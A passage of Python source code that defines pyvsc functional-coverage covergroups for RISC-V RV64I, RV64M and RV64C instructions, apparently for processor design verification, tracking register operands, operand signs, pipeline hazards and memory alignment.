cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class cmp_instr_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_result = vsc.coverpoint(lambda: self.instr.rd_value[0], bins={ "Unset": vsc.bin(0), "Set" : vsc.bin(1) } ) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class sb_instr_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_branch_hit = vsc.coverpoint(lambda: self.instr.branch_hit, bins={ "Taken" : vsc.bin(1), "Non-taken": vsc.bin(0) } ) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign]) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t( branch_hazard_e)) @vsc.covergroup class j_instr_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) '''The RISC-V hardware allows any of the 32 integer registers to be given as rd. If register 0 (ZERO) is given as rd then the return address is discarded and we effectively have a goto rather than a function call''' # if instr.rd: self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd_align = vsc.coverpoint(lambda: self.instr.rd_value[1], bins={ "Aligned" : vsc.bin(1), "Not-aligned": vsc.bin(0) } ) ''' RV64M instruction ''' # Below instructions only do calculation based on lower 32 bits, and extend the result to 64 # bits. Add special covergroup for corner cases @vsc.covergroup class mulw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign]) @vsc.covergroup class divw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_div_result = vsc.coverpoint(lambda: self.instr.div_result, cp_t=vsc.enum_t(div_result_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign, self.cp_rd_sign]) @vsc.covergroup class divuw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_div_result = vsc.coverpoint(lambda: self.instr.div_result, cp_t=vsc.enum_t(div_result_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign, self.cp_rd_sign]) @vsc.covergroup class remw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_div_result = vsc.coverpoint(lambda: self.instr.div_result, cp_t=vsc.enum_t(div_result_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign]) @vsc.covergroup class remuw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_div_result = vsc.coverpoint(lambda: self.instr.div_result, cp_t=vsc.enum_t(div_result_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign]) ''' RV64C instruction''' @vsc.covergroup class c_ld_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(compressed_gpr)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(compressed_gpr)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_lsu_hazard = vsc.coverpoint(lambda: self.instr.lsu_hazard, cp_t=vsc.enum_t(branch_hazard_e)) @vsc.covergroup class c_ldsp_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(compressed_gpr)) @vsc.covergroup class c_sd_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(compressed_gpr)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(compressed_gpr)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(branch_hazard_e)) self.cp_lsu_hazard = vsc.coverpoint(lambda: self.instr.lsu_hazard, cp_t=vsc.enum_t(store_lsu_hazard_e)) @vsc.covergroup class c_sdsp_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(compressed_gpr)) @vsc.covergroup class c_addiw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(store_lsu_hazard_e)) @vsc.covergroup class c_subw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(compressed_gpr)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(compressed_gpr)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class c_addw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(compressed_gpr)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(compressed_gpr)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) ''' RV64I Instruction ''' @vsc.covergroup class lwu_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_lsu_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(branch_hazard_e)) @vsc.covergroup class ld_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_lsu_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(branch_hazard_e)) @vsc.covergroup class sd_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(branch_hazard_e)) self.cp_lsu_hazard = vsc.coverpoint(lambda: self.instr.lsu_hazard, cp_t=vsc.enum_t(store_lsu_hazard_e)) @vsc.covergroup class sraw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign, self.cp_rd_sign]) @vsc.covergroup class sllw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign, self.cp_rd_sign]) @vsc.covergroup class srlw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign]) '''' // imm[5] could be 1 for RV64I SLLI/SRAI/SRLI''' @vsc.covergroup class srai64_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(store_lsu_hazard_e)) @vsc.covergroup class slli64_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(store_lsu_hazard_e)) @vsc.covergroup class srli64_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(store_lsu_hazard_e)) @vsc.covergroup class sraiw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class slliw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class srliw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class addw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign, self.cp_rd_sign]) @vsc.covergroup class subw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_rs2_sign, self.cp_rd_sign]) @vsc.covergroup class addiw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_logical = vsc.coverpoint(lambda: self.instr.logical_similarity, cp_t=vsc.enum_t(logical_similarity_e)) self.cp_sign_cross = vsc.cross([self.cp_rs1_sign, self.cp_imm_sign]) '''Category specific covergroups''' '''Load instructions''' @vsc.covergroup class load_instr_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_lsu_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t( branch_hazard_e)) '''TODO: covergroup inheritance is broken at the moment. The workaround will be switched back to the inheritance approach once it gets fixed''' # @vsc.covergroup # class lb_cg(load_instr_cg): # def __init__(self, instr): # super().__init__(instr) @vsc.covergroup class lb_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_lsu_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t( branch_hazard_e)) # @vsc.covergroup # class lh_cg(load_instr_cg): # def __init__(self, instr): # super().__init__(instr) # # self.cp_align = vsc.coverpoint(lambda: instr.unaligned_mem_access, # bins={ # "aligned" : vsc.bin(0), # "unaligned": vsc.bin(1) # }) @vsc.covergroup class lh_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_lsu_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t( branch_hazard_e)) self.cp_align = vsc.coverpoint(lambda: self.instr.unaligned_mem_access, bins={ "aligned" : vsc.bin(0), "unaligned": vsc.bin(1) }) # @vsc.covergroup # class lw_cg(load_instr_cg): # def __init__(self, instr): # super().__init__(instr) # # self.cp_align = vsc.coverpoint(lambda: instr.unaligned_mem_access, # bins={ # "aligned" : vsc.bin(0), # "unaligned": vsc.bin(1) # }) @vsc.covergroup class lw_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_lsu_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t( branch_hazard_e)) self.cp_align = vsc.coverpoint(lambda: self.instr.unaligned_mem_access, bins={ "aligned" : vsc.bin(0), "unaligned": vsc.bin(1) }) # @vsc.covergroup # class lbu_cg(load_instr_cg): # def __init__(self, instr): # super().__init__(instr) @vsc.covergroup class lbu_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_lsu_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t( branch_hazard_e)) # @vsc.covergroup # class lhu_cg(load_instr_cg): # def __init__(self, instr): # super().__init__(instr) # # self.cp_align = vsc.coverpoint(lambda: instr.unaligned_mem_access, # bins={ # "aligned" : vsc.bin(0), # "unaligned": vsc.bin(1) # }) @vsc.covergroup class lhu_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_lsu_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t( branch_hazard_e)) self.cp_align = vsc.coverpoint(lambda: self.instr.unaligned_mem_access, bins={ "aligned" : vsc.bin(0), "unaligned": vsc.bin(1) }) '''Store instructions''' @vsc.covergroup class store_instr_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t( branch_hazard_e)) self.cp_lsu_hazard = vsc.coverpoint(lambda: self.instr.lsu_hazard, cp_t=vsc.enum_t( store_lsu_hazard_e)) # @vsc.covergroup # class sb_cg(store_instr_cg): # def __init__(self, instr): # super().__init__(instr) @vsc.covergroup class sb_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t( branch_hazard_e)) self.cp_lsu_hazard = vsc.coverpoint(lambda: self.instr.lsu_hazard, cp_t=vsc.enum_t( store_lsu_hazard_e)) # @vsc.covergroup # class sh_cg(store_instr_cg): # def __init__(self, instr): # super().__init__(instr) # # self.cp_misalign = vsc.coverpoint( # lambda: instr.unaligned_mem_access, # bins={ # "aligned" : vsc.bin(0), # "unaligned": vsc.bin(1) # }) @vsc.covergroup class sh_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t( branch_hazard_e)) self.cp_lsu_hazard = vsc.coverpoint(lambda: self.instr.lsu_hazard, cp_t=vsc.enum_t( store_lsu_hazard_e)) self.cp_misalign = vsc.coverpoint( lambda: self.instr.unaligned_mem_access, bins={ "aligned" : vsc.bin(0), "unaligned": vsc.bin(1) }) # @vsc.covergroup # class sw_cg(store_instr_cg): # def __init__(self, instr): # 